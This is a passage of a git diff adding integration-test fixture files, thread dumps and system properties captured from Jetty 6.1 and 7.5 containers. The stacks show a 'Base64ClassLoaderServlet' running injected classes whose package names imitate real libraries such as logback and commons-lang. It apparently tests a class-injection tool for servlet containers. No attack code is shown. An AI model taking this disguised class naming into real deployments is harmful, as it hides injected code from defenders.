+org.eclipse.jetty.ee9.nested.HandlerWrapper +org.eclipse.jetty.ee9.nested.HttpChannel +org.eclipse.jetty.ee9.nested.HttpChannel$RequestDispatchable +org.eclipse.jetty.ee9.nested.ResponseWriter +org.eclipse.jetty.ee9.nested.ScopedHandler +org.eclipse.jetty.ee9.nested.SessionHandler +org.eclipse.jetty.ee9.security.SecurityHandler +org.eclipse.jetty.ee9.servlet.FilterHolder +org.eclipse.jetty.ee9.servlet.ServletHandler +org.eclipse.jetty.ee9.servlet.ServletHandler$Chain +org.eclipse.jetty.ee9.servlet.ServletHandler$ChainEnd +org.eclipse.jetty.ee9.servlet.ServletHolder +org.eclipse.jetty.ee9.servlet.ServletHolder$NotAsync +org.eclipse.jetty.io.AbstractConnection$ReadCallback +org.eclipse.jetty.io.FillInterest +org.eclipse.jetty.io.ManagedSelector +org.eclipse.jetty.io.ManagedSelector$$Lambda/0x000000050119df80 +org.eclipse.jetty.io.ManagedSelector$SelectorProducer +org.eclipse.jetty.io.SelectableChannelEndPoint$1 +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.ServerConnector +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.ContextHandlerCollection +org.eclipse.jetty.server.internal.HttpChannelState$HandlerInvoker +org.eclipse.jetty.server.internal.HttpConnection +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$Runner +org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread +org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy diff --git a/integration-test/src/test/resources/infos/Jetty61ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty61ContainerTestBasicInfo.txt new file mode 100644 index 00000000..dd3453b7 --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty61ContainerTestBasicInfo.txt @@ -0,0 +1,264 @@ +# Generated At 2025-08-10 14:58:17 +SystemProps: +java.runtime.name: Java(TM) SE Runtime Environment +com.atomikos.icatch.file: /usr/local/jetty/contexts/test-jndi.d/WEB-INF/classes/jta.properties +sun.boot.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64 +java.vm.version: 20.45-b01 +java.vm.vendor: Sun Microsystems Inc. +java.vendor.url: http://java.sun.com/ +path.separator: : +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +user.country: US +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /usr/local/jetty +java.runtime.version: 1.6.0_45-b06 +derby.system.home: /tmp +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /opt/java/jdk1.6.0_45/jre/lib/endorsed +os.arch: amd64 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Sun Microsystems Inc. +os.name: Linux +sun.jnu.encoding: ANSI_X3.4-1968 +java.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64/server:/opt/java/jdk1.6.0_45/jre/lib/amd64:/opt/java/jdk1.6.0_45/jre/../lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 50.0 +jetty.home: /usr/local/jetty +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +user.timezone: UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: ANSI_X3.4-1968 +java.specification.version: 1.6 +java.class.path: /usr/local/jetty/lib/jetty-6.1.26.jar:/usr/local/jetty/lib/jetty-util-6.1.26.jar:/usr/local/jetty/lib/servlet-api-2.5-20081211.jar:/usr/local/jetty/lib/jsp-2.1/ant-1.6.5.jar:/usr/local/jetty/lib/jsp-2.1/core-3.1.1.jar:/usr/local/jetty/lib/jsp-2.1/jsp-2.1-glassfish-2.1.v20091210.jar:/usr/local/jetty/lib/jsp-2.1/jsp-2.1-jetty-6.1.26.jar:/usr/local/jetty/lib/jsp-2.1/jsp-api-2.1-glassfish-2.1.v20091210.jar:/usr/local/jetty/lib/management/jetty-management-6.1.26.jar:/usr/local/jetty/lib/naming/jetty-naming-6.1.26.jar:/usr/local/jetty/lib/naming/mail-1.4.jar:/usr/local/jetty/lib/plus/jetty-plus-6.1.26.jar:/usr/local/jetty/lib/xbean/jetty-xbean-6.1.26.jar:/usr/local/jetty/lib/annotations/geronimo-annotation_1.0_spec-1.0.jar:/usr/local/jetty/lib/annotations/jetty-annotations-6.1.26.jar:/usr/local/jetty/lib/jre1.5/jetty-util5-6.1.26.jar:/usr/local/jetty/lib/ext/jetty-ajp-6.1.26.jar:/usr/local/jetty/lib/ext/jetty-client-6.1.26.jar:/usr/local/jetty/lib/ext/jetty-html-6.1.26.jar:/usr/local/jetty/lib/ext/jetty-java5-stats-6.1.26.jar:/usr/local/jetty/lib/ext/jetty-java5-threadpool-6.1.26.jar:/usr/local/jetty/lib/ext/jetty-ldap-jaas-6.1.26.jar:/usr/local/jetty/lib/ext/jetty-rewrite-handler-6.1.26.jar:/usr/local/jetty/lib/ext/jetty-servlet-tester-6.1.26.jar:/usr/local/jetty/lib/ext/jetty-setuid-6.1.26.jar:/usr/local/jetty/lib/ext/jetty-sslengine-6.1.26.jar:/usr/local/jetty/resources +user.name: root +java.vm.specification.version: 1.0 +sun.java.command: /usr/local/jetty/start.jar +java.home: /opt/java/jdk1.6.0_45/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Sun Microsystems Inc. +java.vm.info: mixed mode +java.version: 1.6.0_45 +java.ext.dirs: /opt/java/jdk1.6.0_45/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /opt/java/jdk1.6.0_45/jre/lib/resources.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/opt/java/jdk1.6.0_45/jre/lib/sunrsasign.jar:/opt/java/jdk1.6.0_45/jre/lib/jsse.jar:/opt/java/jdk1.6.0_45/jre/lib/jce.jar:/opt/java/jdk1.6.0_45/jre/lib/charsets.jar:/opt/java/jdk1.6.0_45/jre/lib/modules/jdk.boot.jar:/opt/java/jdk1.6.0_45/jre/classes +java.vendor: Sun Microsystems Inc. +file.separator: / +java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"Timer-0" #10 daemon [TIMED_WAITING] on java.util.TaskQueue@348dcd5d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"1698873038@qtp-1743299062-3" #14 [TIMED_WAITING] on org.mortbay.thread.QueuedThreadPool$PoolThread@6542bece + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:626) + +"ContinuationBayeux-0" #26 daemon [TIMED_WAITING] on java.util.TaskQueue@49a5af9f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"161514210@qtp-1743299062-6" #17 [TIMED_WAITING] on org.mortbay.thread.QueuedThreadPool$PoolThread@9a082e2 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:626) + +"Timer-5" #28 daemon [TIMED_WAITING] on java.util.TaskQueue@1cad157f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"DestroyJavaVM" #30 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-2" #22 daemon [TIMED_WAITING] on java.util.TaskQueue@275e538e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"Timer-6" #29 daemon [TIMED_WAITING] on java.util.TaskQueue@21bfa3d3 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-1" #21 daemon [TIMED_WAITING] on java.util.TaskQueue@2c9c82f4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"2122685032@HttpClient-1" #24 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at org.mortbay.io.nio.SelectorManager$SelectSet.doSelect(SelectorManager.java:498) + at org.mortbay.io.nio.SelectorManager.doSelect(SelectorManager.java:192) + at org.mortbay.jetty.client.SelectConnector.run(SelectConnector.java:79) + at org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:582) + +"2147249730@qtp-1743299062-5" #16 [TIMED_WAITING] on org.mortbay.thread.QueuedThreadPool$PoolThread@7ffc6e42 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:626) + +"Timer-3" #25 daemon [TIMED_WAITING] on java.util.TaskQueue@5759780d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"1021925974@qtp-1743299062-1" #12 [TIMED_WAITING] on org.mortbay.thread.QueuedThreadPool$PoolThread@3ce95a56 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:626) + +"1714575288@HttpClient-0" #23 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.mortbay.jetty.client.HttpClient$1.run(HttpClient.java:435) + at org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:582) + +"Timer-4" #27 daemon [TIMED_WAITING] on java.util.TaskQueue@32d8ca48 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"2012387303@qtp-1743299062-7" #18 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1530) + at ch.qos.logback.JMlLd.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2826) + at java.io.PrintWriter.print(PrintWriter.java:573) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.mortbay.jetty.servlet.ServletHolder.handle(ServletHolder.java:511) + at org.mortbay.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1221) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.mortbay.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1212) + at org.mortbay.jetty.servlet.ServletHandler.handle(ServletHandler.java:399) + at org.mortbay.jetty.security.SecurityHandler.handle(SecurityHandler.java:216) + at org.mortbay.jetty.servlet.SessionHandler.handle(SessionHandler.java:182) + at org.mortbay.jetty.handler.ContextHandler.handle(ContextHandler.java:766) + at org.mortbay.jetty.webapp.WebAppContext.handle(WebAppContext.java:450) + at org.mortbay.jetty.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:230) + at org.mortbay.jetty.handler.HandlerCollection.handle(HandlerCollection.java:114) + at org.mortbay.jetty.handler.HandlerWrapper.handle(HandlerWrapper.java:152) + at org.mortbay.jetty.Server.handle(Server.java:326) + at org.mortbay.jetty.HttpConnection.handleRequest(HttpConnection.java:542) + at org.mortbay.jetty.HttpConnection$RequestHandler.content(HttpConnection.java:945) + at org.mortbay.jetty.HttpParser.parseNext(HttpParser.java:756) + at org.mortbay.jetty.HttpParser.parseAvailable(HttpParser.java:218) + at org.mortbay.jetty.HttpConnection.handle(HttpConnection.java:404) + at org.mortbay.io.nio.SelectChannelEndPoint.run(SelectChannelEndPoint.java:410) + at org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:582) + +"1554803269@qtp-1743299062-8 - Acceptor1 SelectChannelConnector@0.0.0.0:8080" #19 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at org.mortbay.io.nio.SelectorManager$SelectSet.doSelect(SelectorManager.java:498) + at org.mortbay.io.nio.SelectorManager.doSelect(SelectorManager.java:192) + at org.mortbay.jetty.nio.SelectChannelConnector.accept(SelectChannelConnector.java:124) + at org.mortbay.jetty.AbstractConnector$Acceptor.run(AbstractConnector.java:708) + at org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:582) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@36c8570c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:171) + +"1620450815@qtp-1743299062-4" #15 [TIMED_WAITING] on org.mortbay.thread.QueuedThreadPool$PoolThread@60961dff + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:626) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1acaf0ed + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116) + +"965223859@qtp-1743299062-0" #11 [TIMED_WAITING] on org.mortbay.thread.QueuedThreadPool$PoolThread@398825b3 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:626) + +"571253872@qtp-1743299062-2" #13 [TIMED_WAITING] on org.mortbay.thread.QueuedThreadPool$PoolThread@220ca470 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:626) + +"4347180@qtp-1743299062-9 - Acceptor0 SelectChannelConnector@0.0.0.0:8080" #20 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at org.mortbay.io.nio.SelectorManager$SelectSet.doSelect(SelectorManager.java:498) + at org.mortbay.io.nio.SelectorManager.doSelect(SelectorManager.java:192) + at org.mortbay.jetty.nio.SelectChannelConnector.accept(SelectChannelConnector.java:124) + at org.mortbay.jetty.AbstractConnector$Acceptor.run(AbstractConnector.java:708) + at org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:582) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +ch.qos.logback.JMlLd.ErrorHandler +org.mortbay.io.nio.SelectChannelEndPoint +org.mortbay.io.nio.SelectorManager +org.mortbay.io.nio.SelectorManager$SelectSet +org.mortbay.jetty.AbstractConnector$Acceptor +org.mortbay.jetty.HttpConnection +org.mortbay.jetty.HttpConnection$RequestHandler +org.mortbay.jetty.HttpParser +org.mortbay.jetty.Server +org.mortbay.jetty.client.HttpClient$1 +org.mortbay.jetty.client.SelectConnector +org.mortbay.jetty.handler.ContextHandler +org.mortbay.jetty.handler.ContextHandlerCollection +org.mortbay.jetty.handler.HandlerCollection +org.mortbay.jetty.handler.HandlerWrapper +org.mortbay.jetty.nio.SelectChannelConnector +org.mortbay.jetty.security.SecurityHandler +org.mortbay.jetty.servlet.ServletHandler +org.mortbay.jetty.servlet.ServletHandler$CachedChain +org.mortbay.jetty.servlet.ServletHolder +org.mortbay.jetty.servlet.SessionHandler +org.mortbay.jetty.webapp.WebAppContext +org.mortbay.thread.QueuedThreadPool$PoolThread diff --git a/integration-test/src/test/resources/infos/Jetty75ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty75ContainerTestBasicInfo.txt new file mode 100644 index 00000000..2a21c36c --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty75ContainerTestBasicInfo.txt @@ -0,0 +1,357 @@ +# Generated At 2025-08-10 14:58:19 +SystemProps: +java.runtime.name: Java(TM) SE Runtime Environment +sun.boot.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64 +java.vm.version: 20.45-b01 +java.vm.vendor: Sun Microsystems Inc. +java.vendor.url: http://java.sun.com/ +path.separator: : +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +user.country: US +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /usr/local/jetty +java.runtime.version: 1.6.0_45-b06 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /opt/java/jdk1.6.0_45/jre/lib/endorsed +os.arch: amd64 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Sun Microsystems Inc. +os.name: Linux +sun.jnu.encoding: ANSI_X3.4-1968 +java.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64/server:/opt/java/jdk1.6.0_45/jre/lib/amd64:/opt/java/jdk1.6.0_45/jre/../lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 50.0 +jetty.home: /usr/local/jetty +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +user.timezone: UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: ANSI_X3.4-1968 +java.specification.version: 1.6 +java.class.path: /usr/local/jetty/lib/jetty-xml-7.5.4.v20111024.jar:/usr/local/jetty/lib/servlet-api-2.5.jar:/usr/local/jetty/lib/jetty-http-7.5.4.v20111024.jar:/usr/local/jetty/lib/jetty-continuation-7.5.4.v20111024.jar:/usr/local/jetty/lib/jetty-server-7.5.4.v20111024.jar:/usr/local/jetty/lib/jetty-security-7.5.4.v20111024.jar:/usr/local/jetty/lib/jetty-servlet-7.5.4.v20111024.jar:/usr/local/jetty/lib/jetty-webapp-7.5.4.v20111024.jar:/usr/local/jetty/lib/jetty-deploy-7.5.4.v20111024.jar:/usr/local/jetty/lib/jetty-servlets-7.5.4.v20111024.jar:/usr/local/jetty/lib/jetty-jmx-7.5.4.v20111024.jar:/usr/local/jetty/lib/jsp/com.sun.el_1.0.0.v201004190952.jar:/usr/local/jetty/lib/jsp/ecj-3.6.jar:/usr/local/jetty/lib/jsp/javax.el_2.1.0.v201004190952.jar:/usr/local/jetty/lib/jsp/javax.servlet.jsp_2.1.0.v201004190952.jar:/usr/local/jetty/lib/jsp/javax.servlet.jsp.jstl_1.2.0.v201004190952.jar:/usr/local/jetty/lib/jsp/jetty-jsp-2.1-7.5.4.v20111024.jar:/usr/local/jetty/lib/jsp/jsp-impl-2.1.3-b10.jar:/usr/local/jetty/lib/jsp/org.apache.taglibs.standard.glassfish_1.2.0.v201004190952.jar:/usr/local/jetty/resources:/usr/local/jetty/lib/jetty-websocket-7.5.4.v20111024.jar:/usr/local/jetty/lib/jetty-util-7.5.4.v20111024.jar:/usr/local/jetty/lib/jetty-io-7.5.4.v20111024.jar +user.name: root +java.vm.specification.version: 1.0 +sun.java.command: /usr/local/jetty/start.jar +java.home: /opt/java/jdk1.6.0_45/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Sun Microsystems Inc. +java.vm.info: mixed mode +java.version: 1.6.0_45 +java.ext.dirs: /opt/java/jdk1.6.0_45/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /opt/java/jdk1.6.0_45/jre/lib/resources.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/opt/java/jdk1.6.0_45/jre/lib/sunrsasign.jar:/opt/java/jdk1.6.0_45/jre/lib/jsse.jar:/opt/java/jdk1.6.0_45/jre/lib/jce.jar:/opt/java/jdk1.6.0_45/jre/lib/charsets.jar:/opt/java/jdk1.6.0_45/jre/lib/modules/jdk.boot.jar:/opt/java/jdk1.6.0_45/jre/classes +java.vendor: Sun Microsystems Inc. +file.separator: / +java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"DestroyJavaVM" #33 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp931322429-12" #12 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7275f5b7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:337) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:516) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:39) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:562) + at java.lang.Thread.run(Thread.java:662) + +"TransparentProxy-26" #26 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e56fc16 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:337) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:516) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:39) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:562) + at java.lang.Thread.run(Thread.java:662) + +"qtp931322429-18" #18 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7275f5b7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:337) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:516) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:39) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:562) + at java.lang.Thread.run(Thread.java:662) + +"qtp931322429-11 - /app/b64" #11 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1530) + at org.apache.commons.lang.OBAlD.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2826) + at org.eclipse.jetty.io.UncheckedPrintWriter.print(UncheckedPrintWriter.java:481) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:547) + at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1359) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1330) + at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:478) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:119) + at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:483) + at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:227) + at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:941) + at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:409) + at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:186) + at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:875) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:117) + at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:250) + at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:149) + at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:110) + at org.eclipse.jetty.server.Server.handle(Server.java:345) + at org.eclipse.jetty.server.HttpConnection.handleRequest(HttpConnection.java:441) + at org.eclipse.jetty.server.HttpConnection$RequestHandler.content(HttpConnection.java:936) + at org.eclipse.jetty.http.HttpParser.parseNext(HttpParser.java:801) + at org.eclipse.jetty.http.HttpParser.parseAvailable(HttpParser.java:224) + at org.eclipse.jetty.server.AsyncHttpConnection.handle(AsyncHttpConnection.java:51) + at org.eclipse.jetty.io.nio.SelectChannelEndPoint.handle(SelectChannelEndPoint.java:586) + at org.eclipse.jetty.io.nio.SelectChannelEndPoint$1.run(SelectChannelEndPoint.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:598) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:533) + at java.lang.Thread.run(Thread.java:662) + +"HashSessionScavenger-1" #23 daemon [TIMED_WAITING] on java.util.TaskQueue@60c017e9 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"qtp931322429-15 Selector0" #15 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at org.eclipse.jetty.io.nio.SelectorManager$SelectSet.doSelect(SelectorManager.java:560) + at org.eclipse.jetty.io.nio.SelectorManager$1.run(SelectorManager.java:277) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:598) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:533) + at java.lang.Thread.run(Thread.java:662) + +"qtp931322429-19" #19 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7275f5b7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:337) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:516) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:39) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:562) + at java.lang.Thread.run(Thread.java:662) + +"Scanner-1" #32 daemon [TIMED_WAITING] on java.util.TaskQueue@6361f39e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"HashSessionScavenger-0" #20 daemon [TIMED_WAITING] on java.util.TaskQueue@33c13d0b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at 